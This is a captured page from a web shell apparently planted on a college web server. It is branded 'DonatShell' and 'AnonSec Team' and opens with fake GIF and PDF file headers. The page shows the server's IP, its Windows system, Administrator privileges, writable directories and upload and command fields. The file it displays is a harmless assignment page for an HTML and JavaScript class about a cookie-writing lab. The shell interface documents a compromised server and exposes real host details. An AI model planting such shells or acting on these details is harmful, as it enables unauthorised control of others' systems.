GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/AllenLabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/AllenLabs/Week 8 Cookies.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Week 8</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<link href="Week%208%20Cookies_files/style.css" rel="stylesheet" type="text/css">
</head>

<body data-pt-ext-theme="dark" data-pt-ext-size="standard" background="file:///D|/Webs/images/background.gif">
<p align="center"><span class="pagetitle">MMDT1022 HTML II and Javascript<br>
    Week 8</span></p>
<hr>
<table width="750" cellpadding="4" border="0" bgcolor="#FFFFFF">
    <tbody><tr>
        <td width="100%"><p class="sectiontitle">Week 8</p>
            <p>Read chapter 9 in the book.&nbsp; Chapter 9 is about 
creating, reading, and writing cookies.&nbsp; Cookies are used in most 
e-commerce web sites to track visitor data, such as visitor preferences,
 shopping cart contents, etc</p>
            <p>Testing cookies <a href="http://mmdt1022.ridgewater.net/week8/site1/page1.html"><b>site1</b></a> </p>
            <p>Motorhead <a href="http://mmdt1022.ridgewater.net/week8/motorhead/varoommain.htm"><b>site</b></a>.</p>
            <p>When testing, you <b>must</b> test with a web server. 
Whether that means a real webserver, or the simplified web server that 
comes bundled with Brackets. Important: when using Brackets, make sure 
the live preview of the page is actually working, and you see 
127.0.0.1:xxxx (which means local host) in the address bar. If you see 
file:///, the setting and reading of cookies will not work. Screenshots 
below a correct live preview.</p>
            <p><img src="Week%208%20Cookies_files/livepreview.png" alt="" width="601" height="272"></p>
            <p>&nbsp;</p></td>
    </tr>
</tbody></table>
<p><img src="Week%208%20Cookies_files/cookiepreview.png" alt="" width="1228" height="435"></p>
<p><br>
</p>
<table width="750" cellpadding="4" border="0">
    <tbody><tr>
        <td bgcolor="#FFFFFF"><p class="sectiontitle">Lab 
                Cookie</p>
            <p>For this exercise you need to create three web pages.</p>
            <p>Page 1 - Write a JavaScript program on a web page that 
collects at least three pieces of data about a user and creates and 
writes a cookie.&nbsp; This data could be such things as birthday, 
address, favorite color, etc.&nbsp; Set the cookie to have an expiration
 period of 60 seconds. </p>
            <p>Page 2 - A basic page with not much on it, but to simply go on to page 3.</p>
            <p>Page 3 - Write a JavaScript program on a web page that  
reads the cookie back and displays the information contained in the 
cookie.</p>
            <p>Note: You cannot use the same 3 things that we did in class.&nbsp; Pick new items to read/write a cookie.</p>
            <table width="500" cellspacing="0" cellpadding="5" border="1">
                <tbody><tr>
                    <td width="85%"><b>Grading Criteria</b></td>
                    <td width="15%" align="right"><b>Points<br>
                        15</b></td>
                </tr>
                <tr>
                    <td width="85%">Page 1 as described above.</td>
                    <td width="15%" align="right">7</td>
                </tr>
                <tr>
                    <td width="85%">Page 2 as described above.</td>
                    <td width="15%" align="right">1</td>
                </tr>
                <tr>
                    <td width="85%">Page 3 as described above.</td>
                    <td width="15%" align="right">7</td>
                </tr>
            </tbody></table>
            <p>Assignment is due one instructional week from when it was assigned.&nbsp; 50% penalty if late.</p></td>
    </tr>
</tbody></table>
<hr>


<div></div></body></html>

Anon7 - 2022
AnonSec Team